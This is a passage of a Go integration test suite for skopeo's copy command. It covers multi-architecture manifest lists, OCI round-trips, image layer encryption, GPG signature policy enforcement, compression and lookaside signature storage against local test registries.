assertSkopeoSucceeds(t, "", "--override-arch=arm64", "copy", knownListImageRepo+"@"+arm64Instance.String(), "containers-storage:"+storage+"test@"+arm64Instance.String())
i1 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
var image1 imgspecv1.Image
err = json.Unmarshal([]byte(i1), &image1)
require.NoError(t, err)
assert.Equal(t, "amd64", image1.Architecture)
i2 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+amd64Instance.String())
var image2 imgspecv1.Image
err = json.Unmarshal([]byte(i2), &image2)
require.NoError(t, err)
assert.Equal(t, "amd64", image2.Architecture)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=arm64", "inspect", "containers-storage:"+storage+"test@"+digest)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
i3 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+arm64Instance.String())
var image3 imgspecv1.Image
err = json.Unmarshal([]byte(i3), &image3)
require.NoError(t, err)
assert.Equal(t, "arm64", image3.Architecture)
}
func (s *copySuite) your_sha256_hashtDigest() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
list, err := manifest.ListFromBlob([]byte(m), manifest.GuessMIMEType([]byte(m)))
require.NoError(t, err)
amd64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "amd64"})
require.NoError(t, err)
arm64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "arm64"})
require.NoError(t, err)
assertSkopeoSucceeds(t, "", "--override-arch=amd64", "copy", knownListImageRepo+"@"+amd64Instance.String(), "containers-storage:"+storage+"test@"+amd64Instance.String())
assertSkopeoSucceeds(t, "", "--override-arch=arm64", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
i1 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+amd64Instance.String())
var image1 imgspecv1.Image
err = json.Unmarshal([]byte(i1), &image1)
require.NoError(t, err)
assert.Equal(t, "amd64", image1.Architecture)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=amd64", "inspect", "containers-storage:"+storage+"test@"+digest)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
i2 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
var image2 imgspecv1.Image
err = json.Unmarshal([]byte(i2), &image2)
require.NoError(t, err)
assert.Equal(t, "arm64", image2.Architecture)
i3 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+arm64Instance.String())
var image3 imgspecv1.Image
err = json.Unmarshal([]byte(i3), &image3)
require.NoError(t, err)
assert.Equal(t, "arm64", image3.Architecture)
}
func (s *copySuite) your_sha256_hashDigest() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
list, err := manifest.ListFromBlob([]byte(m), manifest.GuessMIMEType([]byte(m)))
require.NoError(t, err)
amd64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "amd64"})
require.NoError(t, err)
arm64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "arm64"})
require.NoError(t, err)
assertSkopeoSucceeds(t, "", "--override-arch=amd64", "copy", knownListImageRepo+"@"+amd64Instance.String(), "containers-storage:"+storage+"test@"+amd64Instance.String())
assertSkopeoSucceeds(t, "", "--override-arch=amd64", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
assertSkopeoSucceeds(t, "", "--override-arch=arm64", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
i1 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+amd64Instance.String())
var image1 imgspecv1.Image
err = json.Unmarshal([]byte(i1), &image1)
require.NoError(t, err)
assert.Equal(t, "amd64", image1.Architecture)
i2 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
var image2 imgspecv1.Image
err = json.Unmarshal([]byte(i2), &image2)
require.NoError(t, err)
assert.Equal(t, "arm64", image2.Architecture)
i3 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+arm64Instance.String())
var image3 imgspecv1.Image
err = json.Unmarshal([]byte(i3), &image3)
require.NoError(t, err)
assert.Equal(t, "arm64", image3.Architecture)
}
func (s *copySuite) TestCopyWithManifestListStorageDigestMultipleArchesTagAndDigest() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
m := combinedOutputOfCommand(t, skopeoBinary, "inspect", "--raw", knownListImage)
manifestDigest, err := manifest.Digest([]byte(m))
require.NoError(t, err)
digest := manifestDigest.String()
list, err := manifest.ListFromBlob([]byte(m), manifest.GuessMIMEType([]byte(m)))
require.NoError(t, err)
amd64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "amd64"})
require.NoError(t, err)
arm64Instance, err := list.ChooseInstance(&types.SystemContext{ArchitectureChoice: "arm64"})
require.NoError(t, err)
assertSkopeoSucceeds(t, "", "--override-arch=amd64", "copy", knownListImage, "containers-storage:"+storage+"test:latest")
assertSkopeoSucceeds(t, "", "--override-arch=arm64", "copy", knownListImageRepo+"@"+digest, "containers-storage:"+storage+"test@"+digest)
assertSkopeoFails(t, `.*reading manifest for image instance.*does not exist.*`, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
i1 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test:latest")
var image1 imgspecv1.Image
err = json.Unmarshal([]byte(i1), &image1)
require.NoError(t, err)
assert.Equal(t, "amd64", image1.Architecture)
i2 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test@"+amd64Instance.String())
var image2 imgspecv1.Image
err = json.Unmarshal([]byte(i2), &image2)
require.NoError(t, err)
assert.Equal(t, "amd64", image2.Architecture)
i3 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=amd64", "inspect", "--config", "containers-storage:"+storage+"test:latest")
var image3 imgspecv1.Image
err = json.Unmarshal([]byte(i3), &image3)
require.NoError(t, err)
assert.Equal(t, "amd64", image3.Architecture)
i4 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+arm64Instance.String())
var image4 imgspecv1.Image
err = json.Unmarshal([]byte(i4), &image4)
require.NoError(t, err)
assert.Equal(t, "arm64", image4.Architecture)
i5 := combinedOutputOfCommand(t, skopeoBinary, "--override-arch=arm64", "inspect", "--config", "containers-storage:"+storage+"test@"+digest)
var image5 imgspecv1.Image
err = json.Unmarshal([]byte(i5), &image5)
require.NoError(t, err)
assert.Equal(t, "arm64", image5.Architecture)
}
func (s *copySuite) TestCopyFailsWhenImageOSDoesNotMatchRuntimeOS() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
assertSkopeoFails(t, `.*no image found in manifest list for architecture .*, variant .*, OS .*`, "copy", knownWindowsOnlyImage, "containers-storage:"+storage+"test")
}
func (s *copySuite) TestCopySucceedsWhenImageDoesNotMatchRuntimeButWeOverride() {
t := s.T()
storage := t.TempDir()
storage = fmt.Sprintf("[vfs@%s/root+%s/runroot]", storage, storage)
assertSkopeoSucceeds(t, "", "--override-os=windows", "--override-arch=amd64", "copy", knownWindowsOnlyImage, "containers-storage:"+storage+"test")
}
func (s *copySuite) TestCopySimpleAtomicRegistry() {
t := s.T()
dir1 := t.TempDir()
dir2 := t.TempDir()
// FIXME: It would be nice to use one of the local Docker registries instead of needing an Internet connection.
// "pull": docker: dir:
assertSkopeoSucceeds(t, "", "copy", testFQIN64, "dir:"+dir1)
// "push": dir: atomic:
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--debug", "copy", "dir:"+dir1, "atomic:localhost:5000/myns/unsigned:unsigned")
// The result of pushing and pulling is an equivalent image, except for schema1 embedded names.
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5000/myns/unsigned:unsigned", "dir:"+dir2)
assertSchema1DirImagesAreEqualExceptNames(t, dir1, "libpod/busybox:amd64", dir2, "myns/unsigned:unsigned")
}
// The most basic (skopeo copy) use:
func (s *copySuite) TestCopySimple() {
t := s.T()
const ourRegistry = "docker://" + v2DockerRegistryURL + "/"
dir1 := t.TempDir()
dir2 := t.TempDir()
// FIXME: It would be nice to use one of the local Docker registries instead of needing an Internet connection.
// "pull": docker: dir:
assertSkopeoSucceeds(t, "", "copy", "docker://registry.k8s.io/pause", "dir:"+dir1)
// "push": dir: docker(v2s2):
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--debug", "copy", "dir:"+dir1, ourRegistry+"pause:unsigned")
// The result of pushing and pulling is an unmodified image.
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", ourRegistry+"pause:unsigned", "dir:"+dir2)
out := combinedOutputOfCommand(t, "diff", "-urN", dir1, dir2)
assert.Equal(t, "", out)
// docker v2s2 -> OCI image layout with image name
// ociDest will be created by oci: if it doesn't exist
// so don't create it here to exercise auto-creation
ociDest := "pause-latest-image"
ociImgName := "pause"
defer os.RemoveAll(ociDest)
assertSkopeoSucceeds(t, "", "copy", "docker://registry.k8s.io/pause:latest", "oci:"+ociDest+":"+ociImgName)
_, err := os.Stat(ociDest)
require.NoError(t, err)
// docker v2s2 -> OCI image layout without image name
ociDest = "pause-latest-noimage"
defer os.RemoveAll(ociDest)
assertSkopeoSucceeds(t, "", "copy", "docker://registry.k8s.io/pause:latest", "oci:"+ociDest)
_, err = os.Stat(ociDest)
require.NoError(t, err)
}
func (s *copySuite) TestCopyEncryption() {
t := s.T()
originalImageDir := t.TempDir()
encryptedImgDir := t.TempDir()
decryptedImgDir := t.TempDir()
keysDir := t.TempDir()
undecryptedImgDir := t.TempDir()
multiLayerImageDir := t.TempDir()
partiallyEncryptedImgDir := t.TempDir()
partiallyDecryptedImgDir := t.TempDir()
// Create RSA key pair
privateKey, err := rsa.GenerateKey(rand.Reader, 4096)
require.NoError(t, err)
publicKey := &privateKey.PublicKey
privateKeyBytes := x509.MarshalPKCS1PrivateKey(privateKey)
publicKeyBytes, err := x509.MarshalPKIXPublicKey(publicKey)
require.NoError(t, err)
err = os.WriteFile(keysDir+"/private.key", privateKeyBytes, 0644)
require.NoError(t, err)
err = os.WriteFile(keysDir+"/public.key", publicKeyBytes, 0644)
require.NoError(t, err)
// We can either perform encryption or decryption on the image.
// This is why use should not be able to specify both encryption and decryption
// during copy at the same time.
assertSkopeoFails(t, ".*--encryption-key and --decryption-key cannot be specified together.*",
"copy", "--encryption-key", "jwe:"+keysDir+"/public.key", "--decryption-key", keysDir+"/private.key",
"oci:"+encryptedImgDir+":encrypted", "oci:"+decryptedImgDir+":decrypted")
assertSkopeoFails(t, ".*--encryption-key and --decryption-key cannot be specified together.*",
"copy", "--decryption-key", keysDir+"/private.key", "--encryption-key", "jwe:"+keysDir+"/public.key",
"oci:"+encryptedImgDir+":encrypted", "oci:"+decryptedImgDir+":decrypted")
// Copy a standard busybox image locally
assertSkopeoSucceeds(t, "", "copy", testFQIN+":1.30.1", "oci:"+originalImageDir+":latest")
// Encrypt the image
assertSkopeoSucceeds(t, "", "copy", "--encryption-key",
"jwe:"+keysDir+"/public.key", "oci:"+originalImageDir+":latest", "oci:"+encryptedImgDir+":encrypted")
// An attempt to decrypt an encrypted image without a valid private key should fail
invalidPrivateKey, err := rsa.GenerateKey(rand.Reader, 4096)
require.NoError(t, err)
invalidPrivateKeyBytes := x509.MarshalPKCS1PrivateKey(invalidPrivateKey)
err = os.WriteFile(keysDir+"/invalid_private.key", invalidPrivateKeyBytes, 0644)
require.NoError(t, err)
assertSkopeoFails(t, ".*no suitable key unwrapper found or none of the private keys could be used for decryption.*",
"copy", "--decryption-key", keysDir+"/invalid_private.key",
"oci:"+encryptedImgDir+":encrypted", "oci:"+decryptedImgDir+":decrypted")
// Copy encrypted image without decrypting it
assertSkopeoSucceeds(t, "", "copy", "oci:"+encryptedImgDir+":encrypted", "oci:"+undecryptedImgDir+":encrypted")
// Original busybox image has gzipped layers. But encrypted busybox layers should
// not be of gzip type
matchLayerBlobBinaryType(t, undecryptedImgDir+"/blobs/sha256", "application/x-gzip", 0)
// Decrypt the image
assertSkopeoSucceeds(t, "", "copy", "--decryption-key", keysDir+"/private.key",
"oci:"+undecryptedImgDir+":encrypted", "oci:"+decryptedImgDir+":decrypted")
// After successful decryption we should find the gzipped layer from the
// busybox image
matchLayerBlobBinaryType(t, decryptedImgDir+"/blobs/sha256", "application/x-gzip", 1)
// Copy a standard multi layer nginx image locally
assertSkopeoSucceeds(t, "", "copy", testFQINMultiLayer, "oci:"+multiLayerImageDir+":latest")
// Partially encrypt the image
assertSkopeoSucceeds(t, "", "copy", "--encryption-key", "jwe:"+keysDir+"/public.key",
"--encrypt-layer", "1", "oci:"+multiLayerImageDir+":latest", "oci:"+partiallyEncryptedImgDir+":encrypted")
// Since the image is partially encrypted we should find layers that aren't encrypted
matchLayerBlobBinaryType(t, partiallyEncryptedImgDir+"/blobs/sha256", "application/x-gzip", 2)
// Decrypt the partially encrypted image
assertSkopeoSucceeds(t, "", "copy", "--decryption-key", keysDir+"/private.key",
"oci:"+partiallyEncryptedImgDir+":encrypted", "oci:"+partiallyDecryptedImgDir+":decrypted")
// After successful decryption we should find the gzipped layers from the nginx image
matchLayerBlobBinaryType(t, partiallyDecryptedImgDir+"/blobs/sha256", "application/x-gzip", 3)
}
func matchLayerBlobBinaryType(t *testing.T, ociImageDirPath string, contentType string, matchCount int) {
files, err := os.ReadDir(ociImageDirPath)
require.NoError(t, err)
foundCount := 0
for _, f := range files {
fileContent, err := os.Open(ociImageDirPath + "/" + f.Name())
require.NoError(t, err)
layerContentType, err := getFileContentType(fileContent)
require.NoError(t, err)
if layerContentType == contentType {
foundCount++
}
}
assert.Equal(t, matchCount, foundCount)
}
func getFileContentType(out *os.File) (string, error) {
buffer := make([]byte, 512)
if _, err := out.Read(buffer); err != nil {
return "", err
}
contentType := http.DetectContentType(buffer)
return contentType, nil
}
// Check whether dir: images in dir1 and dir2 are equal, ignoring schema1 signatures.
func assertDirImagesAreEqual(t *testing.T, dir1, dir2 string) {
// The manifests may have different JWS signatures; so, compare the manifests by digests, which
// strips the signatures.
digests := []digest.Digest{}
for _, dir := range []string{dir1, dir2} {
manifestPath := filepath.Join(dir, "manifest.json")
m, err := os.ReadFile(manifestPath)
require.NoError(t, err)
digest, err := manifest.Digest(m)
require.NoError(t, err)
digests = append(digests, digest)
}
assert.Equal(t, digests[1], digests[0])
// Then compare the rest file by file.
out := combinedOutputOfCommand(t, "diff", "-urN", "-x", "manifest.json", dir1, dir2)
assert.Equal(t, "", out)
}
// Check whether schema1 dir: images in dir1 and dir2 are equal, ignoring schema1 signatures and the embedded path/tag values, which should have the expected values.
func assertSchema1DirImagesAreEqualExceptNames(t *testing.T, dir1, ref1, dir2, ref2 string) {
// The manifests may have different JWS signatures and names; so, unmarshal and delete these elements.
manifests := []map[string]any{}
for dir, ref := range map[string]string{dir1: ref1, dir2: ref2} {
manifestPath := filepath.Join(dir, "manifest.json")
m, err := os.ReadFile(manifestPath)
require.NoError(t, err)
data := map[string]any{}
err = json.Unmarshal(m, &data)
require.NoError(t, err)
assert.Equal(t, float64(1), data["schemaVersion"])
colon := strings.LastIndex(ref, ":")
require.NotEqual(t, -1, colon)
assert.Equal(t, ref[:colon], data["name"])
assert.Equal(t, ref[colon+1:], data["tag"])
for _, key := range []string{"signatures", "name", "tag"} {
delete(data, key)
}
manifests = append(manifests, data)
}
assert.Equal(t, manifests[0], manifests[1])
// Then compare the rest file by file.
out := combinedOutputOfCommand(t, "diff", "-urN", "-x", "manifest.json", dir1, dir2)
assert.Equal(t, "", out)
}
// Streaming (skopeo copy)
func (s *copySuite) TestCopyStreaming() {
t := s.T()
dir1 := t.TempDir()
dir2 := t.TempDir()
// FIXME: It would be nice to use one of the local Docker registries instead of needing an Internet connection.
// streaming: docker: atomic:
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--debug", "copy", testFQIN64, "atomic:localhost:5000/myns/unsigned:streaming")
// Compare (copies of) the original and the copy:
assertSkopeoSucceeds(t, "", "copy", testFQIN64, "dir:"+dir1)
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5000/myns/unsigned:streaming", "dir:"+dir2)
assertSchema1DirImagesAreEqualExceptNames(t, dir1, "libpod/busybox:amd64", dir2, "myns/unsigned:streaming")
// FIXME: Also check pushing to docker://
}
// OCI round-trip testing. It's very important to make sure that OCI <-> Docker
// conversion works (while skopeo handles many things, one of the most obvious
// benefits of a tool like skopeo is that you can use OCI tooling to create an
// image and then as the final step convert the image to a non-standard format
// like Docker). But this only works if we _test_ it.
func (s *copySuite) TestCopyOCIRoundTrip() {
t := s.T()
const ourRegistry = "docker://" + v2DockerRegistryURL + "/"
oci1 := t.TempDir()
oci2 := t.TempDir()
// Docker -> OCI
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--debug", "copy", testFQIN, "oci:"+oci1+":latest")
// OCI -> Docker
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--debug", "copy", "oci:"+oci1+":latest", ourRegistry+"original/busybox:oci_copy")
// Docker -> OCI
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--debug", "copy", ourRegistry+"original/busybox:oci_copy", "oci:"+oci2+":latest")
// OCI -> Docker
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--debug", "copy", "oci:"+oci2+":latest", ourRegistry+"original/busybox:oci_copy2")
// TODO: Add some more tags to output to and check those work properly.
// First, make sure the OCI blobs are the same. This should _always_ be true.
out := combinedOutputOfCommand(t, "diff", "-urN", oci1+"/blobs", oci2+"/blobs")
assert.Equal(t, "", out)
// For some silly reason we pass a logger to the OCI library here...
logger := log.New(os.Stderr, "", 0)
// Verify using the upstream OCI image validator, this should catch most
// non-compliance errors. DO NOT REMOVE THIS TEST UNLESS IT'S ABSOLUTELY
// NECESSARY.
err := image.ValidateLayout(oci1, nil, logger)
require.NoError(t, err)
err = image.ValidateLayout(oci2, nil, logger)
require.NoError(t, err)
// Now verify that everything is identical. Currently this is true, but
// because we recompute the manifests on-the-fly this doesn't necessarily
// always have to be true (but if this breaks in the future __PLEASE__ make
// sure that the breakage actually makes sense before removing this check).
out = combinedOutputOfCommand(t, "diff", "-urN", oci1, oci2)
assert.Equal(t, "", out)
}
// --sign-by and --policy copy, primarily using atomic:
func (s *copySuite) TestCopySignatures() {
t := s.T()
mech, _, err := signature.NewEphemeralGPGSigningMechanism([]byte{})
require.NoError(t, err)
defer mech.Close()
if err := mech.SupportsSigning(); err != nil { // FIXME? Test that verification and policy enforcement works, using signatures from fixtures
t.Skipf("Signing not supported: %v", err)
}
dir := t.TempDir()
dirDest := "dir:" + dir
policy := fileFromFixture(t, "fixtures/policy.json", map[string]string{"@keydir@": s.gpgHome})
defer os.Remove(policy)
// type: reject
assertSkopeoFails(t, fmt.Sprintf(".*Source image rejected: Running image %s:latest is rejected by policy.*", testFQIN),
"--policy", policy, "copy", testFQIN+":latest", dirDest)
// type: insecureAcceptAnything
assertSkopeoSucceeds(t, "", "--policy", policy, "copy", "docker://quay.io/openshift/origin-hello-openshift", dirDest)
// type: signedBy
// Sign the images
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--sign-by", "personal@example.com", testFQIN+":1.26", "atomic:localhost:5006/myns/personal:personal")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--sign-by", "official@example.com", testFQIN+":1.26.1", "atomic:localhost:5006/myns/official:official")
// Verify that we can pull them
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/personal:personal", dirDest)
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/official:official", dirDest)
// Verify that mis-signed images are rejected
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5006/myns/personal:personal", "atomic:localhost:5006/myns/official:attack")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5006/myns/official:official", "atomic:localhost:5006/myns/personal:attack")
assertSkopeoFails(t, ".*Source image rejected: Invalid GPG signature.*",
"--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/personal:attack", dirDest)
assertSkopeoFails(t, ".*Source image rejected: Invalid GPG signature.*",
"--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/official:attack", dirDest)
// Verify that signed identity is verified.
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5006/myns/official:official", "atomic:localhost:5006/myns/naming:test1")
assertSkopeoFails(t, `.*Source image rejected: Signature for identity \\"localhost:5006/myns/official:official\\" is not accepted.*`,
"--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/naming:test1", dirDest)
// signedIdentity works
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5006/myns/official:official", "atomic:localhost:5006/myns/naming:naming")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/naming:naming", dirDest)
// Verify that cosigning requirements are enforced
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5006/myns/official:official", "atomic:localhost:5006/myns/cosigned:cosigned")
assertSkopeoFails(t, ".*Source image rejected: Invalid GPG signature.*",
"--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/cosigned:cosigned", dirDest)
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "--sign-by", "personal@example.com", "atomic:localhost:5006/myns/official:official", "atomic:localhost:5006/myns/cosigned:cosigned")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "copy", "atomic:localhost:5006/myns/cosigned:cosigned", dirDest)
}
// --policy copy for dir: sources
func (s *copySuite) TestCopyDirSignatures() {
t := s.T()
mech, _, err := signature.NewEphemeralGPGSigningMechanism([]byte{})
require.NoError(t, err)
defer mech.Close()
if err := mech.SupportsSigning(); err != nil { // FIXME? Test that verification and policy enforcement works, using signatures from fixtures
t.Skipf("Signing not supported: %v", err)
}
topDir := t.TempDir()
topDirDest := "dir:" + topDir
for _, suffix := range []string{"/dir1", "/dir2", "/restricted/personal", "/restricted/official", "/restricted/badidentity", "/dest"} {
err := os.MkdirAll(topDir+suffix, 0755)
require.NoError(t, err)
}
// Note the "/@dirpath@": The value starts with a slash so that it is not rejected in other tests which do not replace it,
// but we must ensure that the result is a canonical path, not something starting with a "//".
policy := fileFromFixture(t, "fixtures/policy.json", map[string]string{"@keydir@": s.gpgHome, "/@dirpath@": topDir + "/restricted"})
defer os.Remove(policy)
// Get some images.
assertSkopeoSucceeds(t, "", "copy", testFQIN+":armfh", topDirDest+"/dir1")
assertSkopeoSucceeds(t, "", "copy", testFQIN+":s390x", topDirDest+"/dir2")
// Sign the images. By coping from a topDirDest/dirN, also test that non-/restricted paths
// use the dir:"" default of insecureAcceptAnything.
// (For signing, we must push to atomic: to get a Docker identity to use in the signature.)
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "copy", "--sign-by", "personal@example.com", topDirDest+"/dir1", "atomic:localhost:5000/myns/personal:dirstaging")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "copy", "--sign-by", "official@example.com", topDirDest+"/dir2", "atomic:localhost:5000/myns/official:dirstaging")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5000/myns/personal:dirstaging", topDirDest+"/restricted/personal")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5000/myns/official:dirstaging", topDirDest+"/restricted/official")
// type: signedBy, with a signedIdentity override (necessary because dir: identities can't be signed)
// Verify that correct images are accepted
assertSkopeoSucceeds(t, "", "--policy", policy, "copy", topDirDest+"/restricted/official", topDirDest+"/dest")
// ... and that mis-signed images are rejected.
assertSkopeoFails(t, ".*Source image rejected: Invalid GPG signature.*",
"--policy", policy, "copy", topDirDest+"/restricted/personal", topDirDest+"/dest")
// Verify that the signed identity is verified.
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--policy", policy, "copy", "--sign-by", "official@example.com", topDirDest+"/dir1", "atomic:localhost:5000/myns/personal:dirstaging2")
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "atomic:localhost:5000/myns/personal:dirstaging2", topDirDest+"/restricted/badidentity")
assertSkopeoFails(t, `.*Source image rejected: .*Signature for identity \\"localhost:5000/myns/personal:dirstaging2\\" is not accepted.*`,
"--policy", policy, "copy", topDirDest+"/restricted/badidentity", topDirDest+"/dest")
}
// Compression during copy
func (s *copySuite) TestCopyCompression() {
t := s.T()
const uncompresssedLayerFile = your_sha256_hash
topDir := t.TempDir()
for i, c := range []struct{ fixture, remote string }{
{"uncompressed-image-s1", "docker://" + v2DockerRegistryURL + "/compression/compression:s1"},
{"uncompressed-image-s2", "docker://" + v2DockerRegistryURL + "/compression/compression:s2"},
{"uncompressed-image-s1", "atomic:localhost:5000/myns/compression:s1"},
{"uncompressed-image-s2", "atomic:localhost:5000/myns/compression:s2"},
} {
dir := filepath.Join(topDir, fmt.Sprintf("case%d", i))
err := os.MkdirAll(dir, 0755)
require.NoError(t, err)
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", "dir:fixtures/"+c.fixture, c.remote)
assertSkopeoSucceeds(t, "", "--tls-verify=false", "copy", c.remote, "dir:"+dir)
// The original directory contained an uncompressed file, the copy after pushing and pulling doesn't (we use a different name for the compressed file).
_, err = os.Lstat(filepath.Join("fixtures", c.fixture, uncompresssedLayerFile))
require.NoError(t, err)
_, err = os.Lstat(filepath.Join(dir, uncompresssedLayerFile))
require.Error(t, err)
assert.True(t, os.IsNotExist(err))
// All pulled layers are smaller than the uncompressed size of uncompresssedLayerFile. (Note that this includes the manifest in s2, but that works out OK).
dirf, err := os.Open(dir)
require.NoError(t, err)
fis, err := dirf.Readdir(-1)
require.NoError(t, err)
for _, fi := range fis {
assert.Less(t, fi.Size(), int64(2048))
}
}
}
func findRegularFiles(t *testing.T, root string) []string {
result := []string{}
err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.Type().IsRegular() {
result = append(result, path)
}
return nil
})
require.NoError(t, err)
return result
}
// --sign-by and policy use for docker: with lookaside
func (s *copySuite) TestCopyDockerLookaside() {
t := s.T()
mech, _, err := signature.NewEphemeralGPGSigningMechanism([]byte{})
require.NoError(t, err)
defer mech.Close()
if err := mech.SupportsSigning(); err != nil { // FIXME? Test that verification and policy enforcement works, using signatures from fixtures
t.Skipf("Signing not supported: %v", err)
}
const ourRegistry = "docker://" + v2DockerRegistryURL + "/"
tmpDir := t.TempDir()
copyDest := filepath.Join(tmpDir, "dest")
err = os.Mkdir(copyDest, 0755)
require.NoError(t, err)
dirDest := "dir:" + copyDest
plainLookaside := filepath.Join(tmpDir, "lookaside")
splitLookasideStaging := filepath.Join(tmpDir, "lookaside-staging")
splitLookasideReadServerHandler := http.NotFoundHandler()
splitLookasideReadServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
splitLookasideReadServerHandler.ServeHTTP(w, r)
}))
defer splitLookasideReadServer.Close()
policy := fileFromFixture(t, "fixtures/policy.json", map[string]string{"@keydir@": s.gpgHome})
defer os.Remove(policy)
registriesDir := filepath.Join(tmpDir, "registries.d")
err = os.Mkdir(registriesDir, 0755)
require.NoError(t, err)
registriesFile := fileFromFixture(t, "fixtures/registries.yaml",
map[string]string{"@lookaside@": plainLookaside, "@split-staging@": splitLookasideStaging, "@split-read@": splitLookasideReadServer.URL})
err = os.Symlink(registriesFile, filepath.Join(registriesDir, "registries.yaml"))
require.NoError(t, err)
// Get an image to work with. Also verifies that we can use Docker repositories with no lookaside configured.
assertSkopeoSucceeds(t, "", "--tls-verify=false", "--registries.d", registriesDir, "copy", testFQIN, ourRegistry+"original/busybox")
// Pulling an unsigned image fails.
assertSkopeoFails(t, ".*Source image rejected: A signature was required, but no signature exists.*",
"--tls-verify=false", "--policy", policy, "--registries.d", registriesDir, "copy", ourRegistry+"original/busybox", dirDest)
// Signing with lookaside defined succeeds,
